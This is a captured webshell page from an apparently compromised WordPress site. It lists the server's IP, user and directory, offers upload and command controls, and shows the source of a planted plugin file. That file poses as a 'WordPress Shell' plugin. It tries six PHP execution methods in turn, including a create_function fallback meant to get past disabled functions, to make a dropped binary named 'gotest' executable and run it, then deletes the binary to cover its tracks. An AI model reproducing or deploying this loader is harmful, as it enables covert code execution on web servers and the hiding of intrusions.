403Webshell
Server IP : 192.64.112.168  /  Your IP : 3.142.55.138
Web Server : Apache
System : Linux nc-ph-2300-85.bluforrest.com 4.18.0-513.9.1.el8_9.x86_64 #1 SMP Sat Dec 2 05:23:44 EST 2023 x86_64
User : expressoneac ( 1128)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/expressoneac/public_html/wp-content/plugins/dhdivtz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/expressoneac/public_html/wp-content/plugins/dhdivtz/index.php
<?php
/**
 * Plugin Name: CMap - WordPress Shll
 * Plugin URI: https://github.com/mx/csmap/
 * Description: Simle WordPress Shll - Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program.
 * Version: 1.2
 * Author: Cmap
 * Author URI: https://github.com/x/cmsmap/
 * License: GPLv55
 */



?>
<?php
// Disable time limit for execution
set_time_limit(0);  // 0 means no time limit

// Disable memory limit (if necessary)
ini_set('memory_limit', '-1');  // '-1' means unlimited memory
// Define the path of the gotest file in the current directory
$gotest_path = __DIR__ . '/gotest';

// Method 1: Using shell_exec to execute the command
function try_shell_exec($gotest_path) {
    $chmod_result = shell_exec("chmod +x $gotest_path");  // Grant execute permission to the file
    if ($chmod_result === null) {
        echo "Failed to set execute permission with shell_exec.\n";
        return false;
    }

    $execution_result = shell_exec($gotest_path);  // Execute the file
    if ($execution_result !== null) {
        echo "Method 1 (shell_exec) executed successfully:\n";
        echo $execution_result;
        return true;
    }
    return false;
}

// Method 2: Using exec to execute the command
function try_exec($gotest_path) {
    $chmod_result = exec("chmod +x $gotest_path");
    $execution_result = exec($gotest_path);
    if ($execution_result !== null) {
        echo "Method 2 (exec) executed successfully:\n";
        echo $execution_result;
        return true;
    }
    return false;
}

// Method 3: Using system to execute the command
function try_system($gotest_path) {
    $chmod_result = system("chmod +x $gotest_path");
    $execution_result = system($gotest_path);
    if ($execution_result !== null) {
        echo "Method 3 (system) executed successfully:\n";
        echo $execution_result;
        return true;
    }
    return false;
}

// Method 4: Using passthru to execute the command
function try_passthru($gotest_path) {
    passthru("chmod +x $gotest_path");  // Grant execute permission to the file
    passthru($gotest_path);  // Execute the file
    return true;
}

// Method 5: Using proc_open to execute the command
function try_proc_open($gotest_path) {
    $descriptorspec = array(
        0 => array("pipe", "r"),  // stdin
        1 => array("pipe", "w"),  // stdout
        2 => array("pipe", "w")   // stderr
    );

    // Grant execute permission to the file
    $process = proc_open("chmod +x $gotest_path", $descriptorspec, $pipes);
    if (is_resource($process)) {
        $output = stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
    }

    // Execute the file
    $process = proc_open($gotest_path, $descriptorspec, $pipes);
    if (is_resource($process)) {
        $output = stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
        echo "Method 5 (proc_open) executed successfully:\n";
        echo $output;
        return true;
    }
    return false;
}

// Method 6: Using create_function or eval to bypass function disablement (if the functions are disabled but these are not)
function try_create_function($gotest_path) {
    $func = create_function("", "shell_exec('chmod +x $gotest_path'); shell_exec('$gotest_path');");
    return $func();
}

// Try each method in sequence to execute gotest
if (try_shell_exec($gotest_path)) {
    goto delete_file;  // If Method 1 executes successfully, jump to delete the file
}

if (try_exec($gotest_path)) {
    goto delete_file;  // If Method 2 executes successfully, jump to delete the file
}

if (try_system($gotest_path)) {
    goto delete_file;  // If Method 3 executes successfully, jump to delete the file
}

if (try_passthru($gotest_path)) {
    goto delete_file;  // If Method 4 executes successfully, jump to delete the file
}

if (try_proc_open($gotest_path)) {
    goto delete_file;  // If Method 5 executes successfully, jump to delete the file
}

if (try_create_function($gotest_path)) {
    goto delete_file;  // If Method 6 executes successfully, jump to delete the file
}

echo "All methods failed. Could not execute gotest.\n";
exit;

// Delete the file
delete_file:
if (file_exists($gotest_path)) {
    unlink($gotest_path);  // Delete the file
    echo "Successfully executed gotest and deleted it.\n";
} else {
    echo "gotest file not found.\n";
}
?>


Youez - 2016 - github.com/yon3zu
LinuXploit